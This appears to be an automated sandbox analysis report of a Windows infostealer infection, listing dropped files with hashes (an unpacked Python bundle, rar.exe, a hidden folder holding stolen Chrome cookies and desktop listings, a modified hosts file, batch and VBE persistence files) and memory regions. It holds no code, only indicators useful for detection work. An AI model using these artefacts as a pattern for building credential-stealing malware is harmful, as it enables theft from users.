                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\python313.dll

                                                                Filesize

                                                                1.8MB

                                                                MD5

                                                                6ef5d2f77064df6f2f47af7ee4d44f0f

                                                                SHA1

                                                                0003946454b107874aa31839d41edcda1c77b0af

                                                                SHA256

                                                                ab7c640f044d2eb7f4f0a4dfe5e719dfd9e5fcd769943233f5cece436870e367

                                                                SHA512

                                                                1662cc02635d63b8114b41d11ec30a2af4b0b60209196aac937c2a608588fee47c6e93163ea6bf958246c32759ac5c82a712ea3d690e796e2070ac0ff9104266

                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\rar.exe

                                                                Filesize

                                                                615KB

                                                                MD5

                                                                9c223575ae5b9544bc3d69ac6364f75e

                                                                SHA1

                                                                8a1cb5ee02c742e937febc57609ac312247ba386

                                                                SHA256

                                                                90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                SHA512

                                                                57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\rarreg.key

                                                                Filesize

                                                                456B

                                                                MD5

                                                                4531984cad7dacf24c086830068c4abe

                                                                SHA1

                                                                fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                SHA256

                                                                58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                SHA512

                                                                00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\select.pyd

                                                                Filesize

                                                                25KB

                                                                MD5

                                                                fb70aece725218d4cba9ba9bbb779ccc

                                                                SHA1

                                                                bb251c1756e5bf228c7b60daea1e3b6e3f9f0ff5

                                                                SHA256

                                                                9d440a1b8a6a43cfaa83b9bc5c66a9a341893a285e02d25a36c4781f289c8617

                                                                SHA512

                                                                63e6db638911966a86f423da8e539fc4ab7eb7b3fb76c30c16c582ce550f922ad78d1a77fa0605caffa524e480969659bf98176f19d5effd1fc143b1b13bbaaf

                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\sqlite3.dll

                                                                Filesize

                                                                643KB

                                                                MD5

                                                                21aea45d065ecfa10ab8232f15ac78cf

                                                                SHA1

                                                                6a754eb690ff3c7648dae32e323b3b9589a07af2

                                                                SHA256

                                                                a1a694b201976ea57d4376ae673daa21deb91f1bf799303b3a0c58455d5126e7

                                                                SHA512

                                                                d5c9dc37b509a3eafa1e7e6d78a4c1e12b5925b5340b09bee06c174d967977264c9eb45f146abed1b1fc8aa7c48f1e0d70d25786ed46849f5e7cc1c5d07ac536

                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI28602\unicodedata.pyd

                                                                Filesize

                                                                260KB

                                                                MD5

                                                                b2712b0dd79a9dafe60aa80265aa24c3

                                                                SHA1

                                                                347e5ad4629af4884959258e3893fde92eb3c97e

                                                                SHA256

                                                                b271bd656e045c1d130f171980ed34032ac7a281b8b5b6ac88e57dce12e7727a

                                                                SHA512

                                                                4dc7bd1c148a470a3b17fa0b936e3f5f68429d83d552f80051b0b88818aa88efc3fe41a2342713b7f0f2d701a080fb9d8ac4ff9be5782a6a0e81bd759f030922

                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zi3vxdng.2j3.ps1

                                                                Filesize

                                                                60B

                                                                MD5

                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                SHA1

                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                SHA256

                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                SHA512

                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                              • C:\Users\Admin\AppData\Local\Temp\ky1k0nxb\ky1k0nxb.dll

                                                                Filesize

                                                                4KB

                                                                MD5

                                                                f4b84baf814970e26213037aeddfcfa7

                                                                SHA1

                                                                aa0c0434d558024b39d830b3a8b602130340c53b

                                                                SHA256

                                                                67715dcf3b60447bc6a74d3339ab6fa373634a64c77f6bec70dd8a39eeb882ac

                                                                SHA512

                                                                4589a0b12518e784ef9d5384b0820b53f11d8c571f76c305906dbef7d7f5628c9ce8204baa63a40eb78f2797903b497d21f5ecf18d21985954b4926576ce801b

                                                              • C:\Users\Admin\AppData\Local\Temp\mainV2.exe

                                                                Filesize

                                                                1.1MB

                                                                MD5

                                                                9e7c6c00ffd9d6501586ff6e3a87ff47

                                                                SHA1

                                                                da1f6be302efc67fb981d2cac011caa3ca40df93

                                                                SHA256

                                                                a09c7f65b8c6559808fe7e429078639a61816e5c76e08466dfb5c03b04f27a18

                                                                SHA512

                                                                6355e8ac75f8da391be58737e8f2f56a99dfbfb757d5044119d0c6e67954656ce7d3da65790b46c67ed4744154810874ed9e1964d3eb68a4420ac81072cdd5e0

                                                              • C:\Users\Admin\AppData\Local\Temp\‎ ‎‍      \Credentials\Chrome\Chrome Cookies.txt

                                                                Filesize

                                                                258B

                                                                MD5

                                                                c7705023433fc05ffaeae1520dd37d5b

                                                                SHA1

                                                                fd9d89f4d36a3334289d2837ae78c64c3077d5d0

                                                                SHA256

                                                                ecf445b865a08b7c8f9950ef403e0e2a2828d7756093205c315eb6633b5eb089

                                                                SHA512

                                                                fb5cfb1d8236980aa7fe8d3c79c9b6785a83bf410260d3080367dab5ef8560cab652972bcbc36da71928de2ca8d3ef035fb7fd31b45b39a7f4bae68c9376af99

                                                              • C:\Users\Admin\AppData\Local\Temp\‎ ‎‍      \Directories\Desktop.txt

                                                                Filesize

                                                                740B

                                                                MD5

                                                                2501647fa6002a1668105641769b5fb7

                                                                SHA1

                                                                99be9f2700a12d5dfb635349c1defa68b7163c1a

                                                                SHA256

                                                                34d51fb7f60afc62b265398693226e5f9a77069e271b0f0110a50788627f6e24

                                                                SHA512

                                                                152d9f496ea790199718e0cdee750c0a0078e9cd9066c8330743bbe2bc62e6551aa47856b619605513c8b555f749e0f30e237a9fc6e9221ee7b4e8cd3423a385

                                                              • C:\Windows\System32\drivers\etc\hosts

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                SHA1

                                                                e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                SHA256

                                                                a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                SHA512

                                                                c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                              • C:\portbrowserSvc\agentbroker.exe

                                                                Filesize

                                                                832KB

                                                                MD5

                                                                dd3da669f2a243c4dbbbfc8f063acca9

                                                                SHA1

                                                                4f41bf6dd2bafc00cd09aac21567849ff651311c

                                                                SHA256

                                                                ac07273ab1dc75a040355ab1decb04494f2304eec1b95ed9d6ff64d329e84cc1

                                                                SHA512

                                                                bdc0c28061b36dc4f871c2cf8eb824c0d4956749219ff2bba91e3fb9809d68cc82df438804aa7b5f8266bace538b933e2c43af8c2a7feb01bd0d84afd82f07ac

                                                              • C:\portbrowserSvc\niRlsT7U.vbe

                                                                Filesize

                                                                198B

                                                                MD5

                                                                c2147d735326a98b5d0e5cf67ab043a6

                                                                SHA1

                                                                0603c7a8209fe35f02127aa73671a2ca6e5c828b

                                                                SHA256

                                                                66358939bf43e6b9388c7c41f80e5b85ec6d05c100b0a955b08640b39c8934dc

                                                                SHA512

                                                                4836afcdacf6ced1f6b44bbef62635eab4a3e15084ade4b918e0e712af359137300a22c80411ffa016f7f1b204eac4205e1be0ebf46b6addaefdae185ce0c21e

                                                              • C:\portbrowserSvc\rMXTEEa.bat

                                                                Filesize

                                                                147B

                                                                MD5

                                                                5d83da11e18d561cdd46c036ceada49d

                                                                SHA1

                                                                fcb56d68080cea1f5495ccd915fd0e77d5cac6dd

                                                                SHA256

                                                                bea380a9fde04cf3178e4c4bd037db55bdae138a4b0263ccba9ed6274b5d102e

                                                                SHA512

                                                                4b5f09bac233c99d4e0e052950ec2b6f206c9244a09b96b65bdadd149a7b8bbf53d11b075e399ce3626a3f3902b81b85234b85fd6cf8845b2fce42e6ad1f7a94

                                                              • \??\c:\Users\Admin\AppData\Local\Temp\ky1k0nxb\CSC6280EF54E1BD424BBC95DC5C91B4D31.TMP

                                                                Filesize

                                                                652B

                                                                MD5

                                                                5dd0dfa61b90d9030596fcd0c423ab34

                                                                SHA1

                                                                459837f70d5782913cfd9df476e746586464a9d2

                                                                SHA256

                                                                d353b01499dac2c19c3c4c0a6f8d7fde65331483a07648e9b040a2d295d6814f

                                                                SHA512

                                                                2db28395d7ff95278b5b0607af973f7fc41437116b6b16ade2e63a89b0dbfd7ce73036a30bd8754f5e5068c582af05b24b827b54e82dfd57285c722162c49c4b

                                                              • \??\c:\Users\Admin\AppData\Local\Temp\ky1k0nxb\ky1k0nxb.0.cs

                                                                Filesize

                                                                1004B

                                                                MD5

                                                                c76055a0388b713a1eabe16130684dc3

                                                                SHA1

                                                                ee11e84cf41d8a43340f7102e17660072906c402

                                                                SHA256

                                                                8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                SHA512

                                                                22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                              • \??\c:\Users\Admin\AppData\Local\Temp\ky1k0nxb\ky1k0nxb.cmdline

                                                                Filesize

                                                                607B

                                                                MD5

                                                                e802520dfb322ee828725bff677b62fd

                                                                SHA1

                                                                4b8be13f114a2292b3eed93c38d97e8606597227

                                                                SHA256

                                                                23b8ee27268185b23112d7a49826fac134d81540879584788b4cc9a9c76e384c

                                                                SHA512

                                                                191dc9679aa6e64e491fddea87e985dbcfcabe9eb2fc3aecfa578804b8a7ed57fc0c2bf8cd7f1778e69d998d02de9e600bca090e7afcc1b505e66e8dde3ff2d7

                                                              • memory/840-178-0x00000236311A0000-0x00000236311A8000-memory.dmp

                                                                Filesize

                                                                32KB

                                                              • memory/2248-110-0x00007FF91F3A0000-0x00007FF91F3B9000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-272-0x00007FF919170000-0x00007FF919189000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-108-0x00007FF918EA0000-0x00007FF918EAD000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2248-107-0x00007FF919190000-0x00007FF9191BB000-memory.dmp

                                                                Filesize

                                                                172KB

                                                              • memory/2248-337-0x00007FF911850000-0x00007FF91191E000-memory.dmp

                                                                Filesize

                                                                824KB

                                                              • memory/2248-105-0x00007FF918BE0000-0x00007FF918BF4000-memory.dmp

                                                                Filesize

                                                                80KB

                                                              • memory/2248-103-0x00007FF909320000-0x00007FF909853000-memory.dmp

                                                                Filesize

                                                                5.2MB

                                                              • memory/2248-144-0x00007FF918C40000-0x00007FF918C65000-memory.dmp

                                                                Filesize

                                                                148KB

                                                              • memory/2248-91-0x00007FF919170000-0x00007FF919189000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-96-0x00007FF909F40000-0x00007FF90A5A3000-memory.dmp

                                                                Filesize

                                                                6.4MB

                                                              • memory/2248-100-0x00007FF911850000-0x00007FF91191E000-memory.dmp

                                                                Filesize

                                                                824KB

                                                              • memory/2248-101-0x00000282391A0000-0x00000282396D3000-memory.dmp

                                                                Filesize

                                                                5.2MB

                                                              • memory/2248-102-0x00007FF91D340000-0x00007FF91D367000-memory.dmp

                                                                Filesize

                                                                156KB

                                                              • memory/2248-97-0x00007FF918C00000-0x00007FF918C34000-memory.dmp

                                                                Filesize

                                                                208KB

                                                              • memory/2248-93-0x00007FF9198A0000-0x00007FF9198AD000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2248-89-0x00007FF909DC0000-0x00007FF909F3F000-memory.dmp

                                                                Filesize

                                                                1.5MB

                                                              • memory/2248-85-0x00007FF91F3A0000-0x00007FF91F3B9000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-87-0x00007FF918C40000-0x00007FF918C65000-memory.dmp

                                                                Filesize

                                                                148KB

                                                              • memory/2248-83-0x00007FF919190000-0x00007FF9191BB000-memory.dmp

                                                                Filesize

                                                                172KB

                                                              • memory/2248-59-0x00007FF91D340000-0x00007FF91D367000-memory.dmp

                                                                Filesize

                                                                156KB

                                                              • memory/2248-222-0x00007FF909DC0000-0x00007FF909F3F000-memory.dmp

                                                                Filesize

                                                                1.5MB

                                                              • memory/2248-339-0x00007FF918BE0000-0x00007FF918BF4000-memory.dmp

                                                                Filesize

                                                                80KB

                                                              • memory/2248-60-0x00007FF920F80000-0x00007FF920F8F000-memory.dmp

                                                                Filesize

                                                                60KB

                                                              • memory/2248-111-0x00007FF909260000-0x00007FF909313000-memory.dmp

                                                                Filesize

                                                                716KB

                                                              • memory/2248-297-0x00007FF9198A0000-0x00007FF9198AD000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2248-46-0x00007FF909F40000-0x00007FF90A5A3000-memory.dmp

                                                                Filesize

                                                                6.4MB

                                                              • memory/2248-340-0x00007FF918EA0000-0x00007FF918EAD000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2248-303-0x00007FF918C00000-0x00007FF918C34000-memory.dmp

                                                                Filesize

                                                                208KB

                                                              • memory/2248-304-0x00007FF911850000-0x00007FF91191E000-memory.dmp

                                                                Filesize

                                                                824KB

                                                              • memory/2248-315-0x00000282391A0000-0x00000282396D3000-memory.dmp

                                                                Filesize

                                                                5.2MB

                                                              • memory/2248-326-0x00007FF909320000-0x00007FF909853000-memory.dmp

                                                                Filesize

                                                                5.2MB

                                                              • memory/2248-327-0x00007FF909F40000-0x00007FF90A5A3000-memory.dmp

                                                                Filesize

                                                                6.4MB

                                                              • memory/2248-347-0x00007FF918C40000-0x00007FF918C65000-memory.dmp

                                                                Filesize

                                                                148KB

                                                              • memory/2248-351-0x00007FF918C00000-0x00007FF918C34000-memory.dmp

                                                                Filesize

                                                                208KB

                                                              • memory/2248-350-0x00007FF9198A0000-0x00007FF9198AD000-memory.dmp

                                                                Filesize

                                                                52KB

                                                              • memory/2248-349-0x00007FF919170000-0x00007FF919189000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-348-0x00007FF909DC0000-0x00007FF909F3F000-memory.dmp

                                                                Filesize

                                                                1.5MB

                                                              • memory/2248-346-0x00007FF91F3A0000-0x00007FF91F3B9000-memory.dmp

                                                                Filesize

                                                                100KB

                                                              • memory/2248-345-0x00007FF919190000-0x00007FF9191BB000-memory.dmp

                                                                Filesize

                                                                172KB

                                                              • memory/2248-344-0x00007FF909320000-0x00007FF909853000-memory.dmp

                                                                Filesize

                                                                5.2MB

                                                              • memory/2248-343-0x00007FF91D340000-0x00007FF91D367000-memory.dmp

                                                                Filesize

                                                                156KB

                                                              • memory/2248-342-0x00007FF920F80000-0x00007FF920F8F000-memory.dmp

                                                                Filesize

                                                                60KB

                                                              • memory/2248-341-0x00007FF909260000-0x00007FF909313000-memory.dmp

                                                                Filesize

                                                                716KB

                                                              • memory/2728-34-0x0000000000400000-0x0000000000CCD000-memory.dmp

                                                                Filesize

                                                                8.8MB

                                                              • memory/3876-121-0x00000192AD940000-0x00000192AD962000-memory.dmp

                                                                Filesize

                                                                136KB

                                                              • memory/4892-229-0x0000000000830000-0x0000000000908000-memory.dmp

                                                                Filesize

                                                                864KB